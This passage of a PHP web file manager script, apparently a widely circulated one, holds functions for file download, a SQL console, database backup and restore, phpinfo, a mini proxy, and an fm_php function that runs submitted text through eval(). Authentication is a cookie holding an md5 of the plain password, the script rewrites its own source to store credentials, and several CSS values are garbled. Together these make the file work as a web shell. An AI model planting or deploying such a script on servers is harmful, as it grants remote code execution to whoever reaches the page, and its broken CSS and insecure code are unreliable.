		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: gt;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: red;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #CD5C5C 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: ## #800080A ; text-decoration: underline; }
a.th:link { color: ##6495ED; text-decoration: none; }
a.th:active { color: #CD5C5C; text-decoration: none; }
a.th:visited { color: #E9967A; text-decoration: none; }
a.th:hover {  color: ## #800080 ; text-decoration: underline; }

table.bg {
	background-color: #C0C0C0
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	# #CD5C5C ;
	color:				#CD5C5C;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	##CD5C5C;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#FFC0CB;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	# #808000 ;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
